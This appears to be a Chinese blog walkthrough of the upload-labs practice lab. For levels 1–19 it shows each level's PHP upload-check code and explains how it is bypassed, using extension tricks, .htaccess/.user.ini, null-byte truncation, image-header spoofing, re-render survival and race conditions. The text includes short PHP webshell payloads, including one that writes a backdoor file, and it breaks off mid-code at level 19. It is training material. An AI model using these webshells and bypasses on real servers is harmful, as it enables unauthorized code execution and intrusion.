uploads-labs Lkai 2025-04-21 2025-05-05 uploads-labs 第一题和第2题都很基础这里就简单讲述了
pass-01(前端js校验)
就说这个函数限制的,第一种办法我们可以不让他调用,第2种就是上传图片马然后bp抓包再修改为php文件就可以了
pass-02(MIME验证) 分析代码发现只对content-type进行了验证,我们只需抓包
修改为这三个中的一个就可以了
pass-03(黑名单验证-特殊后缀) 查看源码发现是黑名单,不准上传php等文件,但是只过滤了一点点
在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml
所以我们写完一句话木马直接上传这些即可,这里我们上传了一个1.phtml文件
Pass-04(.htaccess) 打开发现黑名单过滤的更多了
但是.htaccess没有被过滤那这个是什么呢
是什么 .htaccess 解析漏洞是 Apache 服务器中因错误配置或允许用户上传自定义 .htaccess 文件导致的 文件解析逻辑绕过 漏洞。攻击者可利用该漏洞将非可执行文件(如图片)强制解析为脚本文件(如 PHP),从而执行恶意代码。以下是其核心原理、利用方式及防御策略的综合分析 .htaccess(超文本访问)是许多Web服务器根据目录应用设置的有用文件,允许在运行时覆盖Apache服务器的默认配置。使用.htaccess,我们可以在运行时轻松启用或禁用任何功能
漏洞原理与形成条件 .htaccess 文件的功能 .htaccess 是 Apache 的分布式配置文件,允许用户在特定目录下自定义服务器行为,例如重定向、访问控制、MIME 类型设置等。通过修改该文件,可覆盖全局配置。
漏洞触发机制 文件解析规则重写:攻击者上传恶意 .htaccess 文件,添加如 AddHandler php5-script .gif 或 SetHandler application/x-httpd-php 指令,强制指定扩展名(如 .gif)的文件以 PHP 解析。 绕过文件上传限制:若服务器未禁止 .htaccess 文件上传,且未对上传文件内容进行严格校验,攻击者可覆盖解析规则,使图片马(含 PHP 代码的图片文件)被当作脚本执行。 必要环境条件
Apache 服务器且允许 .htaccess 文件覆盖配置(AllowOverride All)。 PHP 版本较低(如 PHP 5.6 以下非线程安全版本)。 文件上传功能未对 .htaccess 文件类型进行过滤。
做法 SetHandler application/x-httpd-php
这行代码通常出现在 Apache HTTP 服务器 的配置文件中,或者 .htaccess
文件中。它的作用是告诉 Apache 服务器如何处理某些文件类型,特别是将指定类型的文件交给 PHP 处理
创建一个.htaccess文件在里面写上这个代码
由于黑名单的影响,所以我们在上传一个图片马
要注意.htaccess文件是只有在apache服务器上面的
pass-05(.user.ini) .user.ini 首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。 这些配置可以分为四种
我感觉是按重要程度分类了,比如关乎到系统一类的配置,那一类的全部配置,都属于“PHP_INI_SYSTEM”。它只能在,像php.ini这样的“厉害”的文件里可以设定。而其他的三类不怎么重要的配置,除了可以在php.ini中设定外,还可以在其它类似的文件中设定,其中就包括.user.ini文件。
实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
其中有两个配置,可以用来制造后门: auto_append_file、auto_prepend_file 指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
1 auto_prepend_file=test.jpg
或者
1 auto_append_file=test.jpg
这是 PHP 的一个配置项,表示:
在 PHP 运行任何脚本之前,自动包含某个文件 。
等效于你每个 PHP 文件开头加上 include('shell.png');
所以我们上传完一个.user.ini文件中,然后由于黑名单的原因,我们再上传图片马即可
pass-06(大小写绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
发现大小写没有过滤完全,我们采用大小写的方法绕过
pass-07(空格绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = $_FILES ['upload_file' ]['name' ]; $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
对比上一关的函数发现没有了trim函数
Trim函数 用于删除字符串首尾的空白字符,包括空格、制表符、换行符等。这个函数不会改变原始字符串,也不会影响字符串内部的空格
所以我们用空格去绕过
上传成功,找到上传的地址
pass-08(点号绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
对比上个代码发现少了deldot函数
deldot
函数为upload-lab 中一个常见的函数,它实际为一个自定义函数,定义于common.php中,即从字符串的尾部开始,从后向前删除点.
,直到该字符串的末尾字符不是.
为止
为此我们可以用加.来绕过
pass-09(::$DATA流绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
对比其他代码发现少了str_ireplace函数
str_ireplace
函数用于对数组中的元素或字符串中的子串进行替换,第一个参数$search
为需要替换的内容(字符串或数组),第二个参数$replace
为替换成的内容(字符串或数组)
所以我们加::$DATA后缀来绕过
这里顺便看了一下关于这个的简介
::$DATA就是默认不修改文件流的情况,a.txt::$DATA也就是a.txt本身了。最后得出结论a.txt::$DATA和a.txt是等价的,就可以用a.txt::$DATA绕过
pass-10(. .绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
这次发现这个所有函数都加上了,那该用啥骚姿势绕过呢
deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
所以我们用.+空格+.来绕过
pass-11(黑名单验证,双写绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ,"ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
这题看着没有delot函数,我在想能不能再一次用.来绕过来着,于是我去试了下
然后得到了这个路径
发现php是被删掉了
于是去看了源码,发现原来是str_ireplace在捣鬼,把那个数组里面的内容都删掉了
所以我们采用双写绕过
这样删除一个php后,遗留下来的依然是php文件,然后访问即可
pass-12(get 00截断) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
感觉这题理解了好久才做出来的,我觉得我的疑问也是大部分想问的吧,一步一步来解析清楚
1. 文件名检测只看扩展名,不看内容 这个代码的逻辑最终只会检查最后的扩展名(铺垫了后面)
PHP 的 substr
和 in_array
只会看到最后的扩展名 png
,于是放行
2.NULL 字节导致的路径和文件名“截断” move_uploaded_file()
最终调用底层的 C 函数(如 open()
)时,C 字符串以 \0
作为结束标志, 后面的 .png
和随机名拼接都会被“看不见” ,所以当你使用%00截断符时,后面的都会解析不到,C 底层字符串遇 \0
就结束了,所以后缀和随机名都被丢弃,最终文件名成了 .php
,操作系统只在 ../upload/12.php
(到 NULL 为止)创建并写入文件, 于是你得到了一个名为 12.php
的文件
3.为什么 12.php
里能看到那句“木马”? 你上传的其实还是那个 PNG 文件的 完整二进制内容 ,只是文件名被当成了 .php
:
在这张 PNG 里,你事先把一句 PHP 木马(例如 <?php system($_GET['cmd']);?>
)嵌在了一个文本块(tEXt chunk)或者文件头后面。
操作系统只管把你给的字节流按原样写进 12.php
,并不会删减或过滤文件内容。
用文本编辑器打开 12.php
,因为大部分 PNG 二进制是不可见字符,编辑器只会显示那句嵌在其中的可打印 PHP 代码
然后文件里面就会有个php文件了
pass-13(post 00截断) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_POST ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
这题只是从上一题的get改成了post
但由于post不会跟get那样自动对%00进行url解码,所以我们在hex里面修改即可
pass-14(图片马unpack) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function getReailFileType ($filename ) { $file = fopen ($filename , "rb" ); $bin = fread ($file , 2 ); fclose ($file ); $strInfo = @unpack ("C2chars" , $bin ); $typeCode = intval ($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch ($typeCode ){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType ; } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_type = getReailFileType ($temp_file ); if ($file_type == 'unknown' ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_type ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
这题代码逻辑是读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件及其后缀
也告诉你有文件包含漏洞,于是我们访问include.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php header ("Content-Type:text/html;charset=utf-8" );$file = $_GET ['file' ];if (isset ($file )){ include $file ; }else { show_source (__file__); } ?>
文件包含漏洞 :通过 include()
或 require()
函数把用户提供的文件包含进来,若文件是恶意的,PHP 会执行其中的代码,所以最后我们都会用file包含这个图片就可以了
是字节头绕过的
前面两个字节换成png的魔术头,就可以绕过了
使用
1 url=include.php?file=upload/xxxxxxxxx.png
就可以使用命令了
pass=15(getimagesize图片马) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )>=0 ){ return $ext ; }else { return false ; } }else { return false ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" ).$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
发现它是用getimagesize()
函数来判断文件格式的
getimagesize() 函数将确定任何支持的指定图像文件的大小,并返回尺寸以及文件类型和 height/width
文本字符串,以在标准 HTML IMG
标签和对应的 HTTP 内容类型中使用
但是我们可以使用GIF89a图片头欺骗,因为这个函数检测不了
什么是GIF89a:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片
传上去之后再次使用文件包含漏洞去检测
pass-16(exif_imagetype图片马) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function isImage ($filename ) { $image_type = exif_imagetype ($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default : return false ; break ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
exif_imagetype() 读取一个图像的第一个字节并检查其签名
这看起来并前面那个读取两个字节的应该更简单才对吧,不过这个函数有个特点,官方介绍的里面
注意 :
如果无法从文件中读取足够的字节来确定图像类型,exif_imagetype() 将发出 E_NOTICE
并返回 false
就是说如果你只构造一个字节的话,是完全不够的,所以我们就过构造一些
上传成功
然后使用命令看看能不能用
这15和16关的两个方法都是通用的,我试了一下都是互相可以通过的
pass-17(2次渲染绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =UPLOAD_PATH.basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $newimagepath = UPLOAD_PATH.$newfilename ; imagejpeg ($im ,$newimagepath ); $img_path = UPLOAD_PATH.$newfilename ; @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $newimagepath = UPLOAD_PATH.$newfilename ; imagepng ($im ,$newimagepath ); $img_path = UPLOAD_PATH.$newfilename ; @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $newimagepath = UPLOAD_PATH.$newfilename ; imagegif ($im ,$newimagepath ); $img_path = UPLOAD_PATH.$newfilename ; @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
校验 :扩展名必须是 “jpg”,且浏览器报的 MIME 类型是 image/jpeg
。
保存 :先用 move_uploaded_file()
把临时文件存到 UPLOAD_PATH/原始名.jpg
。
二次渲染 :
imagecreatefromjpeg()
读入刚保存的文件,若不能读则说明文件头不对(可能是伪装的木马)→ 删除它并报错。
如果读取成功,生成一个新的随机文件名(避免覆盖、暴力猜解),再用 imagejpeg()
重新渲染并保存,这一步**彻底“净化”**了图片内容,木马代码等附加数据都被丢弃。
删除原始保存的文件,只保留“干净”的重新渲染的那一张。
采用imagejpeg函数净化
格式限制 :JPEG/PNG/GIF 的解析函数都只认它们各自的格式规范,不会把格式外的字节解析当成图像。
解码—再编码 :先把图像解码成位图,再重新编码,任何“解码不了”的数据都被丢掉。
结果文件 :输出的是 GD 库重编的图片流,保证只有图像数据。
所以我们的思路是要找到“净化”也就是2次渲染后的图片没变的地方,插入一句话木马就可以了
我们先上传一个gif图片,然后再复制路径去下载,然后在010上面去比较一下
然后在蓝色的地方(也就是相同的地方),插入一句话木马,可能要找几次地方,就行了,然后再上传我们刚刚改过的图片
pass-18(条件竞争) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传出错!' ; } }
白名单检查扩展名是否合法,如果不合法:设置错误信息并用 unlink()
删除刚才存下的文件
当然这题是不能去用include.php去包含的,因为这出题人的意图就不在这,那难道我们就要技穷了吗,根据代码我们知道,这个是先上传到服务器然后再判断再进行删除的 ,所以我们可以利用这个点来进行条件竞争
那么,条件竞争是什么:
条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug
。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。说的通俗一点,条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于线程的顺序,处理不当就会发生条件竞争
简单来讲就是,我们通过多次发送,总有一瞬间的时间,它是删除不过来的,由于是一瞬间的事情,我们就不能只上传一个简单的一句话木马,因为这个文件还是会被删除的,因此我们要它执行完一段代码后,还能创建一个文件,已得到来创建后门的目的
1 <?php fputs (fopen ('Tony.php' ,'w' ),'<?php @eval($_POST["Tony"])?>' );
这段 PHP 代码的作用就是在服务器上“动态”生成一个名为 Tony.php
的后门文件,具体流程如下
fopen('Tony.php','w')
以写入(w
)模式打开(或新建)一个叫 Tony.php
的文件。
如果文件不存在,就会创建它;如果已存在,则会被清空。
fputs(…, '…')
将第二个参数里的字符串写入第一个参数所代表的文件流。
所以执行完这段代码之后,就会有个Tony.php的包含一句话木马的文件
操作过程 先讲这句代码写在1.php文件里,并上传抓包,写好payload,
然后再访问1.php的位置开始上传抓包
然后先攻击这个上传的文件,再攻击访问这里的文件,如果访问这里的攻击的状态码有200,那么就是成功了
也发现有这个文件了,然后采用蚁剑连接看一下
可以成功访问,这里访问1.php的意思是我们要让他运行这一段代码(在这空隙当中)
pass-19(条件竞争+apache漏洞) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ require_once ("./myupload.php" ); $imgFileName =time (); $u = new MyUpload ($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload (UPLOAD_PATH); switch ($status_code ) { case 1 : $is_upload = true ; $img_path = $u ->cls_upload_dir . $u ->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名。' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2 : $msg = '上传失败,上传目录不可写。' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件。' ; break ; case -4 : $msg = '上传失败,上传的文件过大。' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default : $msg = '未知错误!' ; break ; } } class MyUpload {...... ...... ...... var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... function upload ( $dir ) { $ret = $this ->isUploadedFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->setDir ( $dir ); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkExtension (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkSize (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } $ret = $this ->move (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile (); if ( $ret != 1 